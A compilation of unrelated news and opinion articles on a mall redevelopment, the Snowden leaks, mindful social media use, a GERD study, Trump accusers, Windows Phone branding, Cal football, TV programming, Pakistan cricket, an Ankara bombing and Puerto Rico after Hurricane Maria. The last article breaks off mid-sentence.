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CULT makeup retailer Sephora is set to open its doors at Westfield Chermside. Scentre Group, which owns Westfield in Australia and New Zealand, has confirmed the cosmetics haven, prized by makeup lovers around the globe, will feature as one of three anchor stores in the shopping centre’s $355 million redevelopment. Joining Sephora will be Spanish clothing giant Zara and Swedish multinational H&M. The stores are the highlight of the 33,000sqm expansion of the shopping centre, bringing the northside shopping mecca to 156,000sqm. The upgrades will also facilitate a new leisure and dining precinct as well as around 95 new stores. A Scentre Group spokeswoman said the development was on track to open in the second quarter of 2017. She said more than 1000 additional car spaces would also open roughly within the next week, just in time for the influx of Christmas shoppers. Around 250 of those new car parks were expected to be opened this week. |
Oli Scarff / Getty Images British Foreign Secretary William Hague addresses the media in the Foreign and Commonwealth Office in London, on Sept. 16, 2013. When Edward Snowden, a former National Security Agency contractor, disclosed details about some of the clandestine electronic surveillance programs run by the intelligence agencies of the United States government in June, it was widely seen as one of the biggest intelligence leaks in American history. The Guardian, the British paper Snowden leaked the information to, saw record surges in web traffic as it published his exposés. Its main article on Edward Snowden, in which the paper declared that Snowden “will go down in history as one of America’s most consequential whistleblowers,” has become the most popular article ever read on the website, with over 3.7 million page impressions and counting according to the Guardian. But, three months later, it’s difficult to see how consequential Snowden’s revelations have actually been. Despite immediate and widespread interest from the news media and diplomatic backlash from some parts of the world (mainly from foreign officials who found out that the U.S. had been intercepting their communications), the allegations of widespread spying conducted through the NSA’s PRISM program have not become the subject of any successful legislative efforts in Congress–an initial attempt in July to cut the NSA’s funding for its phone metadata program fell flat after a narrow defeat. And in some parts of the world, responses beyond the immediate surprise caused by the revelations have been particularly muted, with some British and French politicians suggesting that there was nothing in the leaks to cause the general public any concern. Some politicians, such as Conservative Member of Parliament David Davis, questioned if there was adequate oversight of intelligence operations. But in general, Europeans have shrugged and moved on. Documents leaked by Snowden revealed that in Germany the nation’s intelligence agencies were working closely with the NSA on allowing the Americans to monitor Internet traffic, e-mails and telephone calls of German citizens. The German foreign intelligence agency, the BND, falls directly under the Chancellor’s office, but Chancellor Angela Merkel has denied any knowledge of the arrangement. Was there national outrage at the collusion, in a country still highly sensitive to issues of surveillance and state-control? On the contrary, although Merkel faced protests about the NSA leaks during her recent re-election campaign she won a larger share of the vote than she had in her previous two victories. In Britain, where one of its three intelligence bodies, the Government Communications Headquarters (GCHQ), has allegedly been running what Snowden called “the largest program of suspicion-less surveillance in human history” which aims to collect all online and telephone traffic, the debate has been quieter still. This is despite the outrage expressed by free speech groups and high-profile writers such as Stephen Fry, who recently lent his name to a letter addressed to European leaders to take a stand against spying by U.S. and British intelligence agencies. “It’s astonishing to see how many Britons blindly and uncritically trust the work of their intelligence service,” writes journalist Christoph Scheuermann in a commentary for the German paper Der Spiegel. British journalist Henry Porter, writing in the Guardian, is also surprised by the response: “All summer I have been puzzling over the lack of reaction in Britain to the Snowden revelations about U.S. and U.K. communications surveillance, a lack that at some moments has seemed even more remarkable than the revelations themselves.” John Kampfner, a British journalist and former chief executive of the U.K.-based civil liberties campaign group, Index on Censorship, says that the British reaction has been informed by an underlying trust in the government, one which has bred “a sense of anaesthetized comfort. What’s the problem when you have a nice smiling Queen and James Bond is popular?” Studies have shown that since the 1990s, support for civil liberties in Britain have declined as increasing numbers of people have erred towards a tougher stance on law and order, particularly when the issue is presented as a choice between individual freedoms and preventing terrorism. In the aftermath of the revelations some politicians were swift to assure the public that the data-mining operations run by intelligence agencies are not an issue people should be concerned about. William Hague, the British Foreign Secretary, told the BBC in June: “The net effect is that if you are a law-abiding citizen of this country going about your business and personal life, you have nothing to fear about the British state or intelligence agencies listening to the content of your phone calls or anything like that.” Kampfner says that Hague, when he spoke to British parliamentarians about GCHQ’s activities, got a fairly easy ride as other politicians failed to “pose him a single informed question.” He cites occasions where he has been in meetings with politicians who appear to be out of their depth on matters of the Internet and data surveillance: “It is often quite embarrassing how little they understand.” Julian Huppert, a Liberal Democrat MP who has campaigned on issues of protecting digital privacy, agrees with Kampfner’s suggestion that some MPs are unable to effectively scrutinise the legitimacy of the digital surveillance operations run by GCHQ and the NSA if “there is a general lack of understanding…about the way the Internet works. When those in power don’t understand the basics it’s very concerning”. Claude Moraes, a British member of the European Parliament and the appointed liaison officer for the parliament’s inquiry into snooping, says that this is just “lazy stereotyping.” Moraes argues that on a European level at least, politicians have been well aware of issues of data privacy and spying even prior to the reporting on Snowden’s revelations. Intelligence sharing between the U.S. and Britain has been ongoing for decades, and prior to PRISM, the European Parliament published an in-depth report on Echelon, a global system for intercepting personal and commercial communications between the U.S., U.K., Canada, Australia and New Zealand. Now that Snowden is living in relative obscurity in Moscow, the media interest in him has quieted down despite new stories continuing to emerge of the extent of the NSA’s spying. The European Parliament will publish a report into its enquiry before the end of the year. But it is yet to be determined whether its report and Snowden’s revelations will have the impact he hoped, or if it will become another footnote in the long history of clandestine spying operations. |
For the last two years, I have provided a daily wisdom quote through a Twitter account called Tiny Buddha. Since the follower count has grown by leaps and bounds, people have suggested I tweet more often throughout the day. I’ve realized, however, that the greatest lesson we can all learn is that less is enough. In a time when connections can seem like commodities and online interactions can become casually inauthentic, mindfulness is not just a matter of fostering increased awareness. It’s about relating meaningfully to other people and ourselves. With this goal in mind, I’ve compiled a list of 10 tips for using social media mindfully. 1. Know your intentions. Doug Firebaugh of SocialMediaBlogster.com has identified seven psychological needs we may be looking to meet when we log on: acknowledgment, attention, approval, appreciation, acclaim, assurance, and inclusion. Before you post, ask yourself: Am I looking to be seen or validated? Is there something more constructive I could do to meet that need? 2. Be your authentic self. In the age of personal branding, most of us have a persona we’d like to develop or maintain. Ego-driven tweets focus on an agenda; authenticity communicates from the heart. Talk about the things that really matter to you. If you need advice or support, ask for it. It’s easier to be present when you’re being true to yourself. 3. If you propose to tweet, always ask yourself: Is it true? Is it necessary? Is it kind? Sometimes we post thoughts without considering how they might impact our entire audience. It’s easy to forget how many friends are reading. Two hundred people make a crowd in person, but online that number can seem insignificant. Before you share, ask yourself: is there anyone this might harm? 4. Offer random tweets of kindness. Every now and then I ask on Twitter, “Is there anything I can do to help or support you today?” It’s a simple way to use social media to give without expectations of anything in return. By reaching out to help a stranger, you create the possibility of connecting personally with followers you may have otherwise known only peripherally. 5. Experience now, share later. It’s common to snap a picture with your phone and upload it to Facebook or email it to a friend. This overlaps the experience of being in a moment and sharing it. It also minimizes intimacy, since your entire audience joins your date or gathering in real time. Just as we aim to reduce our internal monologues to be present, we can do the same with our digital narration. 6. Be active, not reactive. You may receive email updates whenever there is activity on one of your social media accounts, or you might have your cell phone set to give you these types of alerts. This forces you to decide many times throughout the day whether you want or need to respond. Another approach is to choose when to join the conversation, and to use your offline time to decide what value you have to offer. 7. Respond with your full attention. People often share links without actually reading them, or comment on posts after only scanning them. If the greatest gift we can give someone is our attention, then social media allows us to be endlessly generous. We may not be able to reply to everyone, but responding thoughtfully when we can makes a difference. 8. Use mobile social media sparingly. In 2009, Pew Research found that 43 percent of cell phone users access the Web on their devices several times a day. It’s what former Microsoft employee Linda Stone refers to as continuous partial attention—when you frequently sign on to be sure you don’t miss out anything. If you choose to limit your cell phone access, you may miss out online, but you won’t miss what’s in front of you. 9. Practice letting go. It may feel unkind to disregard certain updates or tweets, but we need downtime to be kind to ourselves. Give yourself permission to let yesterday’s stream go. This way you won’t need to “catch up” on updates that have passed but instead can be part of today’s conversation. 10. Enjoy social media! These are merely suggestions to feel present and purposeful when utilizing social media, but they aren’t hard-and-fast rules. Follow your own instincts and have fun with it. If you’re mindful when you’re disconnected from technology, you have all the tools you need to be mindful when you go online. |
For more than 80 years doctors have believed that stomach acid backing up through the esophagus causes the damage to the lining of the esophagus in patients with gastroesophageal reflux disease (GERD). However, researchers at the University of Texas Southwestern Medical Center and Dallas VA Medical Center have proven that it’s actually an inflammatory response prompted by the secretion of proteins called cytokines. “Although this radical change in the concept of how acid reflux damages the esophagus of GERD patients will not change our approach to its treatment with acid-suppressing medications in the near future, it could have substantial long-term implications,” said Dr. Stuart Spechler, senior study author and a professor of internal medicine at UT Southwestern and chief of the department of gastroenterology at the Dallas VA Medical Center, according to a news release. Researchers analyzed patients who had an injury to the lining of the esophagus, which is called reflux esophagitis, and had been successfully treated by proton pump inhibitors (PPIs). They hypothesized that GERD might redevelop if PPIs were stopped, which would allow researchers to observe the early stages of the disease. According to the news release, in 11 of 12 patients with reflux esophagitis changes to the esophagus reoccurred after the PPIs were stopped, but the changes were not consistent with chemical burns. Building off a previous study in mice, researchers reported that the findings supported the new idea that refluxed stomach acid stimulates the esophagus to produce cytokines, which begins the process of inflammation. They believe the findings may alter treatment plans for patients. “Someday we might treat GERD with medications that target the cytokines or inflammatory cells that really cause the damage to the esophagus,” said Dr. Rhonda Souza, co-senior study author and a professor of internal medicine at UT Southwestern and physician with the department of gastroenterology at the Dallas VA Medical Center, according to the news release. GERD is a common disorder that affects up to 20 percent of Americans, but in severe cases patients may suffer from bleeding ulcers in the esophagus that can be associated with a condition called Barrett’s esophagus, which can lead to cancer. “We think that it is important for physicians to have an accurate understanding of the mechanisms underlying the disease that we treat, especially one as common as GERD,” Spechler said, according to the news release. “Furthermore, our study should open up new avenues for novel GERD treatments.” The study was published Tuesday in JAMA. |
A group of women who have accused Donald Trump of sexual assault and harassment have united to demand an investigation by Congress. The women, who are among 16 to have lodged allegations of sexual misconduct against the US President, will speak at a press conference and in TV appearances on Monday. His accusers will "share their first-hand accounts of President Trump groping, fondling, forcibly kissing, humiliating and harassing women", according to a press release. We’ll tell you what’s true. You can form your own view. From 15p €0.18 $0.18 $0.27 a day, more exclusives, analysis and extras. Mr Trump has previously denied the claims and said all 16 women were lying. The 10.30am EST (3.30pm GMT) press conference is being hosted by production company Brave New Films, which last month released a documentary, 16 Women and Donald Trump, about the allegations. The company said the women "will call for accountability and an investigation by Congress". Three of the 16 women - Jessica Leeds, Samantha Holvey, and Rachel Crooks - will also appear together on NBC's Megyn Kelly Today on Monday. The allegations against Mr Trump predate his presidency and the #MeToo movement that emerged in the wake of claims about film producer Harvey Weinstein. Nikki Haley, the US Ambassador to the United Nations, this week said that Mr Trump's accusers "should be heard". “Women who accuse anyone should be heard," she told the CBS current affairs programme Face the Nation. "They should be heard and they should be dealt with. And I think we heard from them prior to the election. And I think any woman who has felt violated or felt mistreated in any way, they have every right to speak up.” In October Mr Trump dismissed the allegations as “totally fake news", adding: "It's fake, it’s made-up stuff." The accusations began to emerge after the now-infamous Access Hollywood audio surfaced ahead of the presidential election in July 2016. Mr Trump’s voice can be heard on the Entertainment Tonight programme with host Billy Bush, speaking disparagingly about women’s body parts and saying: “when you’re a celebrity they let you do anything.” At least 11 women came forward after that the audio emerged alleging the President touched or kissed them without consent. Mr Trump said at the time the accusations were “total fiction” and that he was victim of one of the "great political smear campaigns in the history of our country”, implying Democrats may have had something to do with it. We’ll tell you what’s true. You can form your own view. At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads. Subscribe now |
A while back we reported that Microsoft would be dropping the “Windows Phone” name in general, in favor of going with a unified brand name “Windows”. Now it seems Microsoft are moving forward with this plan, as Facebook users are being notified that the official Windows Phone page is also rebranding to “Microsoft Lumia”. Now this seems a bit weird as the official Windows Phone page is dedicated to the OS, not the Nokia devices. Meaning that they regularly post updates about other devices including the HTC One M8 for Windows. Even Windows Phone is changing to MS Lumia pic.twitter.com/1DsxZgLuzm — Michael Faro-Tusino (@MFaroTusino) November 3, 2014 It’s possible Microsoft are looking at labeling all Windows Phone devices as “Lumias”, but it’s unlikely that other OEMs would agree to that. Whatever Microsoft plan to do with Windows Phones, and the Lumia name in general will make more sense once we have solid info on the product upgrade path for current WP 8/WP 8.1 devices to Windows 10. Until then who knows what the folks at Redmond are thinking? |
In almost any other season, and perhaps if we get one more win, all we're probably talking about is the historic turnaround the Cal offense made to bring the Bears back to competency this season. Cal averaged 38.3 points, currently 13th in FBS and 2nd in the Pac-12 after Oregon. Their 459 points was a season-high for the program. And Jared Goff. What a season. 35 touchdowns, breaking Pat Barnes's single season record of 31 touchdowns. 3,973 passing yards, breaking the 3,508 passing yard mark that Goff set last season. Goff's 527 yards against Washington State is the most single-game passing yards by any Bears quarterback, breaking his own record against Washington State from last year. Goff's 458 yards against Colorado is now the fifth best passing performance by a Cal quarterback in one game. Goff now has five of the six top single-game passing yard performances of all-time. Goff has thrown 53 touchdowns as a Bear (3rd most among Cal quarterbacks) and 7,481 passing yards (4th most). Kyle Boller leads Cal w/ 64 passing TDs (Pat Barnes 54). Troy Taylor with 8126 passing yards, Boller 7980, Barnes 7360. Assuming perfect health, Goff should obliterate both records by mid-season next year. We won five games. So as great as these stats are, they feel a bit hollow. We have to talk about the biggest culprit: The atrociously bad Cal pass defense, which is dead last again. This year it hit historically bad levels, which I thought was impossible after last year's reboot of the Benny Hill Show. Phil Steele tweeted that if BYU's quarterback threw for 277 yards on Saturday, Cal would give up the most passing yards in a regular season ever. Walk-on backup quarterback Christian Stewart had only hit 300 yards in half of his performances, so it wasn't far fetched that the Cal defense might be able to step up and deliver. They surrendered 433 (and I think it's quite possible that the record was broken on that 83 yard touchdown). The California Golden Bears pass defense, which started so promisingly, crumbled by the end of 2014. With Cal losing a lot of their defensive line talent from last season and losing Brennan Scarlett midway through the year, the pass rush crumbled. The Bears were able to blitz big and get a few negative plays against BYU, but at the cost of giving up the big play that killed them all year last year. And the stats just pile up sadly. Here are the record that this Cal defense broke this season. Despite only a few noticeable improvements. I doubt any Cal defensive coaches will be let go--we cannot afford to have three different defensive coaching staffs in three consecutive seasons. At this point, this is our staff, and we have to ride with them. I think these coaches have managed to do some good things, and the defense has come up with crucial plays in a few of our wins this season. That is an improvement of sorts from when our defense couldn't do anything except cough up battery acid a year previous. Still, if this defense doesn't improve and Cal's offense doesn't get wins they probably deserve, I doubt Dykes and company will be able to make it another season. |
Others also point out that the explosion in programming has created more opportunity for shows with diverse casts and topics, such as “Jane the Virgin,” “Transparent” and “Orange Is the New Black.” Marti Noxon, the showrunner for Lifetime’s “UnREAL” and Bravo’s “Girlfriends’ Guide to Divorce,” said there’s been a “sea change” in the last five years. “I couldn’t have gotten those two shows on TV five years ago,” she said. “There was not enough opportunity for voices that speak to a smaller audience. Now many of these places are looking to reach some people — not all the people. That’s opened up a tremendous opportunity for women and other people that have been left out of the conversation.” The proliferation of TV shows has also created a pipeline for talent in the industry, said Chris Albrecht, the chief executive of Starz. Good shows, he said, become good training grounds “for good writers who then become good showrunners.” The boom has been spurred by several factors: The television season is now a year-round event, with new shows coming on the air even in summer. And the number of programmers, whether on cable or streaming services like Amazon or Netflix, has risen tremendously. (“This year, I finally lost track of the ability to keep track of every programmer who is in the scripted-programming business,” Mr. Landgraf said at T.C.A.) But streaming services like Hulu aren’t just producing new shows, they’re also salvaging old ones. “The Mindy Project” was rejected by the audience, and Fox canceled it after its third season. But Hulu, which relies on paid subscriptions, picked up the show, and its fourth season will debut on the streaming service next month. “It’s not a glut of programming, it’s a glut of choices. And we are happily part of that,” said Craig Erwich, Hulu’s head of content. “One of our values here is we put the viewer first, and we want to overwhelm them with choice and let them decide what they want to do.” Another complication is that shows not only compete against one another, but also against old series that live on in the archives of Amazon, Hulu or Netflix. So a new season of “Scandal,” for example, is also competing against old series like “The Wire.” |
Easily the highlight of the year © Getty Images Picture being a Manchester City fan on May 13, 2012. The day they beat Manchester United, their biggest rival, who always seemed to come out on top, to a prize they had coveted for long - the English Premier League title. Imagine then being asked, at the end of the year, to assess the previous 12 months as a whole. You would do well to simply understand the question. Nothing else mattered outside of that moment on that particular day; there was no year to sum up, there was simply that day, and the moment that Sergio Aguero made the net bulge. The rest was irrelevant. That, essentially, is what Pakistan cricket will remember when they look upon 2017 in the years to follow. There was a chastening defeat against India to kick off the Champions Trophy in England, and the real prospect of elimination in the group stage. There was a lucky win against top-ranked South Africa with a bit of help from the DLS method, followed by a nail-biter against Sri Lanka to sneak into the semi-finals through the back door. Those were followed by perhaps two of Pakistan's most commanding limited-overs performances. Hosts and tournament favourites England were brushed aside in the semi, as Pakistan set themselves a showdown against - who else? - India. Then, laughing in the face of history, they blew their biggest rivals away, surging to an astonishing 180-run win. If this was a movie script, any director worth their salt would have rejected it for being too clichéd. As it stood, this was Pakistan's Lagaan. The year simply reaffirmed the fact that if you think you understand Pakistan cricket, you don't understand Pakistan cricket. It had long been believed that Test cricket was Pakistan's strongest suit; they had held the mace just last year. The country's limited-overs philosophy, on the other hand, appeared to have caught the Y2K bug, never quite making it into this millennium. Pakistan's post-Misbah-Younis Test era is looking grim © Getty Images And yet, what is most noteworthy about the year is Pakistan carrying a nine-ODI winning streak into 2018, their Champions Trophy heroics followed by a whitewash of a listless Sri Lanka. It is hard to attribute the turnaround to a particular factor; even their batting coach, Grant Flower, admitted to being surprised by the turnaround since the loss to India in Birmingham. Their ODI record for the year until that point - three wins and six losses - wasn't unsurprising; they began the year with a 4-1 series defeat against Australia, and only just managed to beat a severely weakened West Indies 2-1. That was the Pakistan ODI side we all knew. We're still coming to grips with the leviathan of the last six months. It is tricky to read too much into the side's T20 form, encouraging though it is. Pakistan won eight of the ten T20Is they played this year, though they were hardly pitted against the stiffest competition. They won 3-1 against a West Indies side that bore little resemblance to the 2016 World T20-winning squad. There was a 2-1 series victory in Lahore that came against a World XI team where the main qualification for being counted among the touring side was a willingness to play in Pakistan. The 3-0 whitewash over Sri Lanka could largely be attributed to the fact that most of Sri Lanka's top players pulled out of the series, unwilling to play the third T20, scheduled as it was to take place in Lahore. These are encouraging results for Pakistan, though it's hard to say what one can learn from them. In a complete reversal, the Test unit appears to be in alarming freefall, a sad, rapid descent into mediocrity that looks to have undone much of the good work over the seven years that saw them reach the top. They finish the year ranked seventh, above only West Indies, Bangladesh and Zimbabwe. The year began with a predictable loss in Sydney that sealed yet another home whitewash for Australia against Pakistan. Pakistan's first ever Test series win in the West Indies was their second brightest moment all year. It came in dramatic fashion too, with Yasir Shah getting rid of No. 11 Shannon Gabriel with just six balls in the last Test, ensuring Misbah and Younis Khan finished their careers on a high. The shoes of those two don't look nearly like being filled yet. The first series Pakistan played in the absence of the stalwarts will have reminded them of the fact: it was their first Test series loss in the UAE for the first time since it became their permanent home, a 2-0 reverse against Sri Lanka that meant Pakistan won two and lost four Tests this year. Going further back a little, they have come up second best in nine of 11 Tests, and ideas to buck the trend are few and far between. Losing to a struggling Sri Lankan side in UAE, where Pakistan had not lost a Test series since 2010, was a hard blow © Francois Nel/Getty Images But another ray of positivity can be gleaned from the incipient return of international cricket to Pakistan - well, to Lahore at least. It started with the PSL final, where Peshawar Zalmi's entire foreign contingent, including players such as Darren Sammy, Dawid Malan and Chris Jordan came to Lahore. The ICC-sanctioned World XI playing three T20Is at Gaddafi Stadium was a massive feather in the PCB's cap, what with the likes of Hashim Amla, Faf du Plessis and Morne Morkel taking part. Security is still at the forefront of players' minds, though; nearly Sri Lanka's entire first team balked at the prospect of coming to Lahore, while a tour by West Indies was also postponed to next year. Surely no one thought it would be anything other than a long, painful process. High point Forget Sharjah, it is one of England's oldest cricket grounds that deserves to be called Pakistan's home away from home. Their first historic triumph came at The Oval, all the way back in 1954, and the zenith of Pakistan's 2016 came when Misbah-ul-Haq's side beat England there to secure their spot at the top of the Test rankings. This year arguably tops the lot. Sarfraz Ahmed's team put together a virtually perfect ODI performance in the Champions Trophy, making a mockery of perceptions along the way. They put paid to the idea that they lacked the power-hitting necessary in modern cricket, totting up 338 in the final. They shrugged off the criticism that they hadn't been able to find a decent pair of openers since the 20th century - Fakhar Zaman and Azhar Ali put on 128 for the first wicket. Most of all, they, once and for all, buried the notion that big game plus India equalled defeat. This match had been played millions of times in the minds of Pakistan fans. That day, the fantasy came to life. Low point If you've been paying attention at all recently, you may have noticed Sri Lanka aren't having a terribly good time of it. Pakistan, on the other hand, are really rather good in the UAE, never having lost a Test series since relocating there permanently. Fast bowler Hasan Ali has transformed Pakistan's limited-overs fortunes © Getty Images As such, to lose 2-0 to Sri Lanka in the UAE really went to show how grave a rut Pakistan's Test cricket was in, particularly now that Misbah and Younis are no longer around. The first Test was so classically Pakistan, it was banal, featuring a fifth-day collapse where they fell short by 21 runs chasing 136. In the second Test, they managed to turn in an even shoddier performance, with Sri Lanka comfortably securing a 68-run win. A Sri Lanka side, mind you, that was halfway through a 16-match limited-overs losing run, and whose only other Test wins all year were a tense four-wicket victory against Zimbabwe, and one against Bangladesh that helped secure a 1-1 series draw. New kid on the block Not just a young player for Pakistan to nurture and look forward to, but already a contender for ODI Player of the Year. Since making his debut last year, Hasan Ali has seamlessly transitioned into ODI cricket in particular. He has 63 wickets from 29 matches across formats this year - at an average of 18.85. Hasan was the leading wicket-taker and the Player of the Tournament in the Champions Trophy, taking 13 wickets in five matches, including three in each of the four games Pakistan won en route the title. His T20I record this year - 12 wickets at 21.41 - isn't bad either, and if he can keep himself clear of injury and controversy, he could be a fantastic limited-overs asset for Pakistan for several years to come. What 2018 holds Pakistan have flipped around their form in each format within the space of 12 months. Who's not to say they won't do so again? And that makes one particularly wary about making predictions about Pakistan cricket; they do not age well. Sarfraz, now Pakistan's captain across formats, will look to consolidate his position by maintaining their limited-overs form and rediscovering the formula that made them so successful in Test cricket, but all that is easier said than done. The year begins with a limited-overs tour of New Zealand, which threatens to expose Pakistan's ODI and T20 prowess of the last six months as a mere flash in the pan. There is a T20 tour by West Indies scheduled in March, with the games to be played in Lahore, which should bring ample excitement. Pakistan will also take on Ireland in the latter's first Test match (expect a green track and a possible banana skin). That is followed by a two-Test tour of England, which looks a much tougher assignment than it did in 2016. Tours to Zimbabwe and South Africa round out the year. With Pakistan lurching from one extreme to the other over the past two years, stability and consolidation will do just fine for them come December 2018. Danyal Rasool is a sub-editor at ESPNcricinfo. @Danny61000 © ESPN Sports Media Ltd. |
CLOSE Turkish authorities believe an explosive-filled car detonated, killing more than 28 people. No group has yet claimed responsibility for the attack. Video provided by Newsy Newslook A police officer gestures as he walks at the site of an explosion after an attack targeted a convoy of military service vehicles in Ankara on Feb. 17. (Photo: AFP) Turkish fighter jets on Thursday pounded Syrian Kurdish rebel positions across the border in northern Iraq in retaliation for an attack in Ankara on Wednesday that killed at least 28 people. President Recep Tayyip Erdogan and Prime Minister Ahmet Davutoglu both blamed Syrian Kurdish militias for a car bomb that targeted a convoy of Turkish military vehicles in the nation's capital. At least 61 people were wounded in the incident. Salih Muslim, a Syrian Kurdish leader, nevertheless rejected Turkey's allegation, saying his group had "no link to these bombings." There were no other claims of responsibility including from the Islamic State that has bombed the city in the past. Davutoglu said 12 people were detained in connection with the attack. He also confirmed the man who denoted the bomb was a Syrian national. Turkish newspaper Yeni Safak previously identified the bomber as Salih Necar, a registered Syrian refugee in Turkey. About 2 million Syrian refugees are in Turkey. Davutoglu said the attack was the result of a collaboration between "the PKK together with a person (Necar) who sneaked into Turkey from Syria." The PKK is the Kurdistan Workers’ Party, a banned militant organization in Turkey that is battling Ankara for more political rights. The PKK has sought autonomy from Turkey for decades but it stepped up a bombing campaign in July after peace talks with the Turkish government broke down. The situation is complicated by Syrian Kurdish militia groups in Iraq and Syria who have been fighting Islamic State, or ISIL, militants alongside the United States and its allies. ISIL has also recently carried out bombing attacks in Turkey including an attack in Ankara in October that killed 102 people. The U.S. has designated the PKK a terrorist group but has not done the same for the Syrian Kurdish militias. They have proved resilient in the face of ISIL. Erdogan, Turkey's president, said Wednesday's attack demonstrated that there are strong links between the PKK and Syrian Kurd fighters. Turkey's state-run Anadolu news agency said there were casualties as a result of its bombing of rebel positions in Iraq but it did not provide specifics. Turkey said a separate attack by PKK militants in the country's southeast killed six soldiers. Read or Share this story: http://usat.ly/1XzkqMR |
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December 2017 Aftermath of Irma and María … and the Devastating Debt Crisis Colonial Capitalist Disaster in Puerto Rico San Juan, the capital of Puerto Rico, plunged into darkness on the night of September 20. Two and a half months later, most residents of the island colony still do not have electrical power. (Photo: Alex Wroblewski/Getty Images) San Juan, the capital of Puerto Rico, plunged into darkness on the night of September 20. Two and a half months later, most residents of the island colony still do not have electrical power. The effects of “natural” disasters are always refracted through the prism of the man-made class societies in which they occur. The horror show that followed the double-whammy of back-to-back Category 5 hurricanes that swept through the Antilles island chain in September is no exception. In Puerto Rico, the immediate toll of death and destruction has been magnified many times over by U.S. imperialist rule, which ever since it conquered in 1898 has treated the population as colonial subjects and second-class citizens. Now with the wholesale destruction of the island’s industry since 1996, intensified by the decade-old world capitalist economic crisis, imperialist domination increasingly threatens the very existence of the Puerto Rican nation. On September 20, Hurricane Maria made landfall in Puerto Rico. The Caribbean island was still struggling to recover from the damage done by Hurricane Irma, which had hit two weeks earlier. María exacerbated the damage by orders of magnitude. Debris created by Irma became deadly projectiles as Maria wreaked havoc. 80% of the crops were destroyed. Floodwaters reached a depth of 15 feet in some areas. Power lines and the concrete poles holding them were blown to the ground. Dozens of hundred-foot-tall transmission towers for high-voltage trunk lines collapsed, cutting off the whole northern side of the country from electricity. Two and a half months later, over half of Puerto Rico’s population still is without electrical power. The U.S. government has consistently tried to minimize the vast extent of the damage. President Donald Trump dismissively compared María to Hurricane Katrina in New Orleans, which he called a “real catastrophe,” repeating Puerto Rican governor Ricardo Rosselló’s statement that “only” 16 people had died in Puerto Rico. The colonial government kept repeating for weeks that only 55 people perished in the aftermath of María. But CNN reported in late November that just by calling half the funeral homes on the island it came up with at least 499 deaths because of the hurricanes, suggesting a much higher toll, while social scientists comparing the numbers of reported deaths to past years calculated the actual count at well over 1,000 people (Vox, 29 November). Many Puerto Ricans, and millions of others, were outraged at the sight of Trump, the would-be capitalist savior of Puerto Rico, throwing paper towels into a crowd of people, as if he were tossing out T-shirts at a sports event. This image summed up his flippant attitude towards the crisis the hard-hit island faces. Proclaiming the utterly inadequate Federal Emergency Management Agency (FEMA) efforts “amazing,” “tremendous,” “incredible” and “really good,” he gave his administration a “10” out of 10 for its belated relief actions. Trump even dedicated a golf tournament trophy to the people suffering the effects of the storm. But golf trophies and paper towels have done nothing to ease the torment the Puerto Rican people have been enduring … which didn’t begin with Hurricanes Irma and María. Colonial Subjugation and the Depopulation of Puerto Rico Donald Trump during his four-hour visit to hurricane-battered Puerto Rico tosses paper towels into a crowd at a chapel in San Juan. They were “beautiful, soft towels . . . very good towels,” the U.S. president said later in an interview. “I was having fun.” The people of Puerto Rico, not so much. (Photo: Jonathan Ernst/Reuters) Donald Trump during his four-hour visit to hurricane-battered Puerto Rico tosses paper towels into a crowd at a chapel in San Juan. They were “beautiful, soft towels . . . very good towels,” the U.S. president said later in an interview. “I was having fun.” The people of Puerto Rico, not so much. Even many liberals, generally oblivious to the workings of U.S. imperialism, were shocked by the egregious mistreatment of Puerto Rico following the storms. More than once we heard (including from clueless union bureaucrats) the comment that the island was being “treated like, like a colony,” which is exactly what it is – the United States’ oldest territorial “possession” and the largest remaining colony in the world. Although Puerto Ricans are American citizens and subject to federal laws, island residents have no representation in Congress and cannot vote for president – not that elections controlled by Wall Street and other billionaires give working people on the mainland any say in “their” government. But since last year, an unelected capitalist junta tightly controls the island’s finances under the “Puerto Rico Oversight, Management and Economic Stability Act” (PROMESA, or “promise” in Spanish). There is a lot of finger-pointing going on in the post-María blame game. Donald Trump made sure to remind Puerto Ricans about the “broken infrastructure and massive debt” the island faces, complaining that “we’ve spent a lot of money on Puerto Rico.” When acting Homeland Security secretary Elaine Duke incredibly claimed that the response to the hurricane was a “good news story,” San Juan mayor Carmen Yulín Cruz responded, “This is a ‘people are dying’ story.” Trump’s answer was to blame the slow response to the crisis on “poor leadership ability by the mayor of San Juan, and others in Puerto Rico, who are not able to get their workers to help.” Trump and other U.S. capitalists create the racist stereotype of supposedly lazy Puerto Ricans – as they are desperately struggling for survival! – in order to blame their situation on the victims, and thus to perpetuate the cycle of debt and poverty. Mayor Cruz described Trump’s four-hour photo-op visit to the island as “insulting to the people of Puerto Rico.” Yet she also said that Trump’s staff “seemed to want to approach this a different way” than their boss. What willful blindness! Donald Trump is hardly the only proponent of racist, imperialist policies toward Puerto Rico. Cruz is affiliated with the Popular Democratic Party (PDP), linked to the Democratic Party in the U.S. It was Democratic president Bill Clinton who set off the deindustrialization of Puerto Rico in 1996, and Democratic president Barack Obama who last year appointed the grotesquely misnamed PROMESA junta to pay off his Wall Street backers while imposing vicious austerity on Puerto Rican workers. As a member of a colonial ruling class, Cruz is part of the structure of imperialist domination of Puerto Rico. During Trump’s brief visit to Puerto Rico, Mayor Cruz said to him, “Mr. Trump, it’s about saving lives. It’s not about politics.” Asked about Cruz’s pleas for disaster relief, FEMA director Brock Long responded: “We filtered out the mayor a long time ago. We don’t have time for the political noise.” To categorize requests for water and other essential resources as “political noise” is to treat the suffering of a subjugated people as a mere nuisance. Their lives are of little concern to the imperialist rulers. And, of course, this crisis is all about politics. It is about a U.S. colony that has faced over a century of economic, social and political oppression. The political debility of even bourgeois Puerto Rican politicians reflects this status, and that subjugation will not cease because of absurd calls on the imperialists to be “caring” overlords. U.S. Army Corps of Engineers has virtually blocked restoration of power lines in eastern Puerto Rico. Shown here: Pentagon briefing, October 20. (Photo: Chip Somodevilla/Getty Images) U.S. Army Corps of Engineers has virtually blocked restoration of power lines in eastern Puerto Rico. Shown here: Pentagon briefing, October 20. Under Republicans or Democrats, U.S. policy toward Puerto Rico is anything but altruistic. What has Washington actually done during the present crisis? It eventually sent the hospital ship USS Comfort, which mostly sat empty in the San Juan harbor. It dispatched 10,000+ troops to “keep order,” distribute some meals-ready-to-eat and bottled water for a few days and install some mobile cell phone towers. The U.S. Army Corps of Engineers was even slower than the notorious fly-by-night Whitefish, Montana company in beginning repairs of power lines in the eastern third of the island. In recent days, it awarded a $841 million contract to Fluor Enterprises, which made billions off of reconstruction contracts in New Orleans and Iraq. Meanwhile, poor and working people in Puerto Rico are fighting 